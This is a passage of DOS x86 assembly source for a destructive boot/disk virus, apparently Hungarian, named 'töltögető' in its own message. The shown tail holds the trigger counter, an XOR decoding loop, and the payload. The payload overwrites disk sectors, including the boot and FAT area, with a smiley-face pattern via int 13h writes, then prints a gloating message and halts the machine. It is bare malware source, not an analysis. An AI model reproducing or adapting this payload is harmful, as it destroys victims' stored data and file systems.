  1091.     push    ax
  1092.     push    bx
  1093.     push    cx
  1094.     push    dx
  1095.     push    ds
  1096.     push    cs
  1097.     pop    ds
  1098.     mov    cx,2
  1099.     mov    bx,offset atir
  1100.     mov    al,cs:[bx]
  1101.     cmp    al,90h
  1102.     jnz    rwt
  1103.     jmp    reset
  1104. rwt:    call    ftr
  1105.     jc    rwe
  1106.     loop    rwt
  1107.     jmp    reset
  1108. rwe:    pop    ds
  1109.     mov    ax,cs:word ptr [szama]
  1110.     dec    ax
  1111. kii:    mov    cs:word ptr [szama],ax
  1112.     jz    gyilk1
  1113.     pop    dx
  1114.     pop    cx
  1115.     pop    bx
  1116.     pop    ax
  1117.     popf
  1118.     jmp    tim
  1119. gyilk1:    mov    ax,28800
  1120.     mov    cs:byte ptr [mod1],1
  1121.     inc    ax
  1122.     jmp    kii
  1123. leol:    mov    bx,offset kiiras
  1124.     mov    cx,offset kiirv-offset kiiras
  1125.     mov    al,cs:[bx]
  1126.     cmp    al,20h
  1127.     jz    leol1
  1128. adla:    mov    al,cs:[bx]
  1129.     xor    al,45h
  1130.     mov    cs:[bx],al
  1131.     inc    bx
  1132.     loop    adla
  1133. leol1:    push    cs
  1134.     pop    ds
  1135.     cmp    cs:byte ptr [mod2],1
  1136.     jz    atu
  1137. irtas:    mov    si,offset graf
  1138.     mov    di,offset boot
  1139.     mov    cx,128
  1140.     mov    dl,4*9
  1141.     push    cs
  1142.     pop    es
  1143.     push    cs
  1144.     pop    ds
  1145.     cld
  1146. cvgh:    rep    movsb
  1147.     sub    si,128
  1148.     mov    cx,128
  1149.     dec    dl
  1150.     jnz    cvgh
  1151.     mov    dx,180h
  1152.     mov    ax,309h
  1153.     mov    cx,2
  1154.     mov    bx,offset boot
  1155.     pushf
  1156.     push    cs
  1157.     call    int13
  1158.     mov    dx,280h
  1159.     mov    ax,309h
  1160.     mov    cx,2
  1161.     mov    bx,offset boot
  1162.     pushf
  1163.     push    cs
  1164.     call    int13
  1165.     mov    dx,0
  1166.     mov    ax,309h
  1167.     mov    cx,1
  1168.     mov    bx,offset boot
  1169.     pushf
  1170.     push    cs
  1171.     call    int13
  1172. atu:    mov    si,offset kiiras
  1173.     mov    al,2
  1174.     mov    ah,0
  1175.     int    10h
  1176. awqt:    mov    al,cs:[si]
  1177.     cmp    al,0
  1178.     jz    kie
  1179.     mov    ah,0eh
  1180.     mov    bx,0
  1181.     push    si
  1182.     int    10h
  1183.     pop    si
  1184.     inc    si
  1185.     jmp    awqt
  1186. kie:    cli
  1187.     hlt
  1188.     jmp    kie
  1189. kiiras:    db    '   Haha,vírus van a gépben!!',0dh,0ah,'Ez egy eddig még nem közismert vírus. De hamarosan az lesz.'
  1190.     db    0dh,0ah,'A neve egyszerüen töltögetö ',0dh,0ah,'Ezt a nevét onnan kapta, hogy'
  1191.     db    ' feltöltögeti a FAT-táblát kölönbözö alakzatokkal.',0dh,0ah
  1192.     db    'Ez már meg is történt !!! ',0dh,0ah,0,0
  1193. graf:    db    32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32
  1194.     db    32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32
  1195.     db    01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
  1196.     db    01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01
  1197.     db    01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01
  1198.     db    01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01
  1199.     db    32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32
  1200.     db    32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32    
  1201. kiirv:    db    0
  1202. start    ends
  1203.     end
  1204.